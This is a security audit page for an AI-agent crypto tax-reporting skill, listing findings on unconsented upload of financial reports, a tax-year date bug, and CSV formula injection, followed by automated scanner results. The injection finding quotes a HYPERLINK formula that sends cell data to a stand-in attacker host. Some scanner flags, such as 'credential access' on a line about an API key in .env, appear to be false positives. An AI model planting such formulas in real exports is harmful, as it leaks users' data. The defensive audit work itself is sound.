Back to skill

Security audit

XPR Crypto Tax

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its crypto tax-reporting purpose, but it requires external delivery of sensitive tax reports and CSVs without clear consent or privacy controls.

Review this skill before installing if you will use it with real financial records. Confirm where store_deliverable stores files, whether URLs are public or permanent, and require explicit approval before uploading reports or CSVs. Treat generated CSVs as untrusted when opening them in spreadsheet software, and verify tax calculations with a professional before relying on them.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

other

Error
Location
SKILL.md:86
Finding

Mandatory External Delivery May Expose Sensitive Financial Reports

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
src/index.ts:85
Finding

Incorrect US Tax-Year Calculation Collects and Processes Two Calendar Years

Content
View full analysis
1 ? taxYear - 1 : taxYear; const endYear = start_month > 1 ? taxYear : taxYear + 1; const endMonth = start_month - 1 || 12; const endDay = new Date(endYear, endMonth, 0).getDate(); // last day of end month const start = `${startYear}-${String(start_month).padStart(2, '0')}-${String(start_day).padStart(2, '0')}T00:00:00.000Z`; const end = `${endYear}-${String(endMonth).padStart(2, '0')}-${String(endDay).padStart(2, '0')}T23:59:59.999Z`; return { start, end }; } ``` The same behavior is present in the compiled runtime artifact at `dist/index.js:39-46`. ### Technical Analysis For the United States configuration, `start_month` is January (`1`). Given tax year `2024`, the function computes: - `startYear = 2024` - `endYear = 2025` - `endMonth = 12` - Resulting interval: `2024-01-01` through `2025-12-31` The documented US tax year is a single calendar year, so the expected end date is `2024-12-31`. The generated interval therefore includes an unnecessary additional year. This interval is subsequently used to retrieve transfer history and filter DEX trades. The defect violates data minimization by collecting more financial activity than requested and materially compromises report accuracy. ### Attack Path 1. A user requests a US report with `tax_year: 2024`. 2. `getTaxYearDates` returns an end date of December 31, 2025. 3. The report handler sends the expanded date interval to the history API and filters DEX data using it. 4. Transactions from both 2024 and 2025 are incorporated into calculations. 5. The generated report pr ...[truncated 621 chars]
Remediation
View remediation
1 ? taxYear - 1 : taxYear; const startDate = new Date(Date.UTC(startYear, start_month - 1, start_day)); const nextStartDate = new Date( Date.UTC(startYear + 1, start_month - 1, start_day) ); const endDate = new Date(nextStartDate.getTime() - 1); return { start: startDate.toISOString(), end: endDate.toISOString(), }; } ``` Additionally: - Add tests for US 2024: `2024-01-01` through `2024-12-31`. - Add tests for NZ 2025: `2024-04-01` through `2025-03-31`. - Test leap years and non-first-day tax-year configurations. - Validate the computed interval is approximately one year and reject anomalous ranges. - Rebuild `dist/index.js` from the corrected source. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/index.ts:1747
Finding

Report Generator Silently Falls Back to FIFO for Invalid Cost-Basis Methods

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
src/index.ts:1762
Finding

Unescaped Report Fields Permit Spreadsheet Formula Injection

Content
View full analysis
`${d.date},${d.asset},${d.amount},${d.proceeds_local.toFixed(2)},${d.cost_basis_local.toFixed(2)},${d.gain_loss_local.toFixed(2)},${d.method},${d.tx_id || ''}` ), ].join('\n'); const incomeCsv = [ 'Date,Category,Asset,Amount,Value,TX ID', ...gains.income_events.map(e => `${e.date},${e.category},${e.asset},${e.amount},${e.value_local.toFixed(2)},${e.tx_id || ''}` ), ].join('\n'); ``` ### Technical Analysis CSV cells are generated through direct string interpolation. The implementation neither performs RFC 4180 quoting nor neutralizes values beginning with spreadsheet formula prefixes such as `=`, `+`, `-`, or `@`. The report handler permits callers to provide precomputed `trades` and `transfers`. Several values derived from those records—including date, asset, category, and transaction identifier—can reach the CSV output. A crafted cell such as `=HYPERLINK("https://attacker.example/?data="&A1)` may be interpreted as a formula when the exported file is opened in spreadsheet software. Unescaped commas, quotes, and line breaks can also alter the CSV structure, create additional cells or rows, and undermine report integrity. ### Attack Path 1. An attacker or untrusted integration supplies a precomputed trade or transfer containing a formula-prefixed field. 2. `tax_generate_report` accepts and normalizes the record without strict field validation. 3. The field reaches a disposal or income event. 4. CSV generation inserts the value verbatim into a cell. 5. The generated CSV is delivered to the user. 6. The user opens it in spreadsheet software. 7. The spreadsheet evaluates the attacker-controlled formula, potentially triggering an external request or expos ...[truncated 570 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (15)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 38)May include surrounding context.

md
- **Saltant API** — historical balance snapshots (liquid, staked, lending, yield farm)
- **Metal X API** — DEX trade history in CSV format (only filled trades)
- **Hyperion API** — raw on-chain transfer/action history
- **CoinGecko API** — historical and current crypto prices (set `COINGECKO_API_KEY` in .env for full historical access)

### Transfer Categories

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 108)May include surrounding context.

md
- **Saltant API** — historical balance snapshots (liquid, staked, lending, yield farm)
- **Metal X API** — DEX trade history in CSV format (only filled trades)
- **Hyperion API** — raw on-chain transfer/action history
- **CoinGecko API** — historical and current crypto prices (set `COINGECKO_API_KEY` in .env for full historical access)

### Transfer Categories

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill declares network and environment-related capabilities implicitly but does not constrain them with an explicit tool scope or allowed-tools list. That increases the chance of unintended tool access or capability creep, which is especially risky in a skill that handles financial data and later instructs external uploads.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The documentation states that all tools are read-only, but the workflow later requires uploading files and calling a delivery action. This mismatch can mislead operators and reviewers into underestimating the skill's ability to transmit data externally, creating consent and security risks around sensitive tax information.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The claim that all tools are read-only is directly contradicted by later mandatory upload and delivery instructions. Contradictory security-relevant documentation is dangerous because users may trust the earlier statement and unknowingly authorize exfiltration of financial records.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill instructs uploading tax reports and CSV exports to external storage/delivery endpoints without a user-facing warning about sending sensitive financial information. Tax reports can contain wallet history, balances, gains, and income events, so transmitting them without clear disclosure or consent creates a significant privacy and data-handling risk.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · dist/index.js (reported line 82)May include surrounding context.

js
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · dist/index.js (reported line 94)May include surrounding context.

js
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · src/index.ts (reported line 136)May include surrounding context.

ts
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · src/index.ts (reported line 148)May include surrounding context.

ts
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The report-generation tool automatically transmits the supplied account identifier and associated activity lookups to multiple external services (Saltant, MetalX, and potentially CoinGecko-derived pricing paths) without any explicit consent, disclosure, or host allowlisting visible at the tool boundary. Even if the data is blockchain-related and partly public, bundling account-linked tax activity through third-party endpoints can expose sensitive financial profiling and may violate user expectations or privacy requirements.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
99% confidence
Finding

The header comment explicitly says 'All tools are read-only (query APIs + calculate),' which contradicts the later use of fs.mkdirSync and fs.writeFileSync to persist rate data. This is an active contradiction in the skill's own documentation about side effects.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The module doc comment states 'All tools are read-only' and the manifest describes tax reporting, but the implementation adds filesystem-based persistence by loading and saving a JSON cache. This goes beyond purely querying APIs and calculating results because it modifies local state on disk across runs.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

Line L1789 formats all currency values with toLocaleString('en-NZ', ...), which forces a specific locale even when the user selected US via the region parameter. This is a natural-language locale policy issue because the skill imposes a locale without user opt-in or justification.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
98% confidence
Finding

The formatter uses toLocaleString('en-NZ', ...) for currency presentation regardless of the selected region or any user locale preference. This forces a specific language/locale choice in natural-language output and can conflict with organizational policy requiring user choice or justified locale constraints.

Content

No source excerpt is available for this finding.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
dist/index.js:80

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
src/index.ts:134